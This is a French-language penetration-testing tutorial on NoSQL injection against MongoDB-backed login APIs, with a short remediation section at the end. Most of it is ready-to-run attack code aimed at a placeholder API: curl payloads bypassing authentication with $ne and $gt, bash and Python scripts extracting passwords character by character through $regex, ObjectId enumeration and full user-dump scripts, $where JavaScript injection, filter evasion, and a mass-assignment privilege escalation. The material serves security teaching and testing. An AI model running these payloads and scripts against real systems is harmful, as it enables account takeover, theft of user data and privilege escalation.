Injection NoSQL : contourner l'authentification et extraire des données MongoDB
Contrairement à l’injection SQL qui manipule du texte, l’injection NoSQL exploite la structure JSON des requêtes MongoDB. Les opérateurs comme $ne, $gt, $regex ou $where sont interprétés directement par le moteur de requête si l’application passe le corps de la requête sans filtrage à l’ORM.
Les opérateurs MongoDB exploitables
Section intitulée « Les opérateurs MongoDB exploitables »| Opérateur | Signification | Usage offensif |
|---|---|---|
$ne |
not equal | Contourner une vérification d’égalité |
$gt |
greater than | Toujours vrai sur une chaîne non vide |
$lt |
lower than | Énumération par plage |
$regex |
expression régulière | Extraction caractère par caractère |
$in |
dans une liste | Tester plusieurs valeurs simultanément |
$nin |
not in | Exclure des valeurs connues |
$where |
JavaScript arbitraire | Exécution de code côté serveur |
$exists |
champ existant | Énumération de la structure du document |
Bypass d’authentification
Section intitulée « Bypass d’authentification »Via $ne sur le mot de passe
Section intitulée « Via $ne sur le mot de passe »# Connexion avec un email connu, mot de passe quelconque → toujours vraicurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": "utilisateur@exemple.fr", "password": {"$ne": "mauvais_mdp"}}' | jqLa requête MongoDB côté serveur devient :
db.users.findOne({ email: "utilisateur@exemple.fr", password: { $ne: "mauvais_mdp" } })Tout utilisateur avec un mot de passe différent de "mauvais_mdp", soit la totalité, est retourné.
Via $gt sur les deux champs
Section intitulée « Via $gt sur les deux champs »# Bypass complet sans connaître email ni mot de passecurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$gt": ""}, "password": {"$gt": ""}}' | jq
# Variante avec $ne nullcurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$ne": null}, "password": {"$ne": null}}' | jqFormat URL-encodé (formulaires HTML)
Section intitulée « Format URL-encodé (formulaires HTML) »Certaines applications acceptent les paramètres MongoDB dans des formulaires classiques :
username[$ne]=toto&password[$ne]=totologin[$gt]=&password[$ne]=xlogin[$regex]=a.*&pass[$ne]=xlogin[$nin][]=admin&login[$nin][]=root&pass[$ne]=xÉnumération des identifiants par plage
Section intitulée « Énumération des identifiants par plage »MongoDB stocke les documents avec des _id de type ObjectId, des identifiants BSON de 24 caractères hexadécimaux, ordonnés chronologiquement. Les opérateurs $gt et $lt permettent de paginer l’ensemble des utilisateurs.
Récupérer le premier utilisateur
Section intitulée « Récupérer le premier utilisateur »curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"_id": {"$gt": "000000000000000000000000"}, "password": {"$ne": null}}' | jqPaginer pour extraire tous les _id
Section intitulée « Paginer pour extraire tous les _id »#!/bin/bashLAST_ID="000000000000000000000000"OUTPUT="ids.csv"
while true; do RESPONSE=$(curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | grep -oE '[0-9a-f]{24}' | head -1)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then echo "Fin de l'énumération." break fi
echo "$ID" >> "$OUTPUT" echo "Trouvé : $ID" LAST_ID="$ID"doneCombiner $gt et $lt pour cibler une plage
Section intitulée « Combiner $gt et $lt pour cibler une plage »# Récupérer les comptes créés entre deux ObjectId (donc entre deux dates)curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"_id": {"$gt": "5c000000000000000000000", "$lt": "5d000000000000000000000"}, "password": {"$ne": null}}' | jqLes 4 premiers octets d’un ObjectId encodent un timestamp Unix. Deux ObjectId suffisent à délimiter une fenêtre temporelle.
Extraction de données par $regex
Section intitulée « Extraction de données par $regex »$regex permet de tester si un champ correspond à un motif. En testant caractère par caractère depuis le début de la chaîne (^), on extrait la valeur complète.
Tester la longueur d’un champ
Section intitulée « Tester la longueur d’un champ »# Le champ password fait-il 8 caractères ?curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$eq": "utilisateur@exemple.fr"}, "password": {"$regex": "^.{8}$"}}' | jqExtraire le mot de passe caractère par caractère
Section intitulée « Extraire le mot de passe caractère par caractère »for c in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d "{\"email\": {\"$eq\": \"utilisateur@exemple.fr\"}, \"password\": {\"\$regex\": \"^$c\"}}")
if [[ "$CODE" == "200" ]]; then echo "Premier caractère trouvé : $c" fidoneScript d’extraction blind complet (Python)
Section intitulée « Script d’extraction blind complet (Python) »import requestsimport string
USERNAME = "utilisateur@exemple.fr"URL = "https://api.exemple.fr/user/signin"HEADERS = {"Content-Type": "application/json"}
password = ""
while True: found = False for c in string.printable: if c in ['*', '+', '.', '?', '|', '\\']: continue
payload = { "email": {"$eq": USERNAME}, "password": {"$regex": f"^{password}{c}"} } r = requests.post(URL, json=payload, headers=HEADERS)
if r.status_code == 200 and "token" in r.text: password += c print(f"[+] Caractère trouvé : {c} → mot de passe en cours : {password}") found = True break
if not found: print(f"[*] Mot de passe complet : {password}") breakOpérateur $in : tester des valeurs connues
Section intitulée « Opérateur $in : tester des valeurs connues »# Tester si l'un de ces emails existe et a un mot de passe non nulcurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"email": {"$in": ["admin@exemple.fr", "root@exemple.fr", "superuser@exemple.fr"]}, "password": {"$ne": null}}' | jqInjection $where (JavaScript côté serveur)
Section intitulée « Injection $where (JavaScript côté serveur) »$where permet d’exécuter du JavaScript arbitraire dans le contexte du document évalué. Désactivé par défaut dans les versions récentes de MongoDB, il reste actif sur des configurations héritées.
# Toujours vraicurl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"$where": "1 == 1", "password": {"$ne": null}}' | jq
# Injection temporelle pour confirmer l'exécution (blind)curl -s -X POST "https://api.exemple.fr/user/signin" \ -H "Content-Type: application/json" \ -d '{"$where": "sleep(5000) || true", "password": {"$ne": null}}' | jqUn délai de 5 secondes confirme l’exécution de JavaScript côté serveur.
Contournement de filtres
Section intitulée « Contournement de filtres »Clé dupliquée dans le JSON
Section intitulée « Clé dupliquée dans le JSON »MongoDB ne conserve que la dernière occurrence d’une clé dupliquée. Si le filtre de l’application supprime $ne mais que le JSON contient deux fois la clé :
{"password": "filtre_supprime_ceci", "password": {"$ne": null}}L’application voit la première valeur (filtrée), MongoDB lit la seconde.
Encodage pour bypasser la détection
Section intitulée « Encodage pour bypasser la détection »# Encodé en URLusername[$ne]=x&password[$ne]=x
# Avec caractères Unicode{"email": {"$ne": null}}Dump complet via script shell
Section intitulée « Dump complet via script shell »#!/bin/bash# Extraction de tous les utilisateurs accessibles via l'endpoint signin
API="https://api.exemple.fr/user/signin"OUTPUT="dump.csv"LAST_ID="000000000000000000000000"
echo "id,email,firstName,lastName" > "$OUTPUT"
while true; do RESPONSE=$(curl -s -X POST "$API" \ -H "Content-Type: application/json" \ -d "{\"_id\": {\"\$gt\": \"$LAST_ID\"}, \"password\": {\"\$ne\": null}}")
ID=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('_id',''))" 2>/dev/null) EMAIL=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('email',''))" 2>/dev/null) FNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('firstName',''))" 2>/dev/null) LNAME=$(echo "$RESPONSE" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('user',{}).get('lastName',''))" 2>/dev/null)
if [[ -z "$ID" || "$ID" == "$LAST_ID" ]]; then echo "Terminé. $(wc -l < $OUTPUT) entrées extraites." break fi
echo "$ID,$EMAIL,$FNAME,$LNAME" >> "$OUTPUT" echo "[+] $EMAIL" LAST_ID="$ID"doneÉlévation de droits via mass assignment sur l’endpoint de mise à jour
Section intitulée « Élévation de droits via mass assignment sur l’endpoint de mise à jour »Quand l’API expose un endpoint de mise à jour de profil qui passe directement le corps JSON à l’ORM, il est possible d’écraser des champs privilégiés :
# Passer super:true et profile:admin dans la mise à jourcurl -s -X POST "https://api.exemple.fr/user/update" \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{ "firstName": "Nom", "email": "utilisateur@exemple.fr", "profile": "admin", "super": true }' | jqCombiner avec le bypass NoSQL pour obtenir un token valide, puis exploiter l’endpoint d’update pour élever les droits.
Remédiation
Section intitulée « Remédiation »Valider et typer les entrées
Section intitulée « Valider et typer les entrées »// Mongoose, refuser les objets là où une chaîne est attendueconst loginSchema = new mongoose.Schema({ email: { type: String, required: true }, password: { type: String, required: true }});
// Valider avant d'interroger la baseif (typeof req.body.email !== 'string' || typeof req.body.password !== 'string') { return res.status(400).json({ error: 'Format invalide' });}Utiliser des requêtes paramétrées
Section intitulée « Utiliser des requêtes paramétrées »// Vulnérable, l'objet utilisateur transit directement dans la requêteconst user = await User.findOne({ email: req.body.email, password: req.body.password });
// Correct, extraction explicite et vérification du typeconst { email, password } = req.body;if (typeof email !== 'string' || typeof password !== 'string') { throw new Error('Type invalide');}const user = await User.findOne({ email }).select('+password');const valid = await bcrypt.compare(password, user.password);Désactiver $where dans MongoDB
Section intitulée « Désactiver $where dans MongoDB »Dans mongod.conf :
security: javascriptEnabled: false$where et mapReduce ne sont plus exécutables, la surface d’attaque JavaScript côté serveur disparaît.
Limiter le taux de requêtes sur les endpoints d’authentification
Section intitulée « Limiter le taux de requêtes sur les endpoints d’authentification »Un dump par énumération d’ObjectId envoie des centaines de requêtes. Un rate limiting strict détecte et bloque ce pattern :
// Express, rate limiting sur /user/signinconst rateLimit = require('express-rate-limit');
app.use('/user/signin', rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 20, message: { error: 'Trop de tentatives' }}));À retenir
Section intitulée « À retenir »L’injection NoSQL ne manipule pas du texte mais de la structure. Un corps JSON passé directement à findOne() ou find() sans vérification de type transforme n’importe quel champ en opérateur de requête. La défense repose sur deux points : vérifier que les valeurs reçues ont le type attendu (string, number, pas object), et ne jamais stocker de mots de passe en clair pour que $regex sur ce champ ne retourne rien d’exploitable.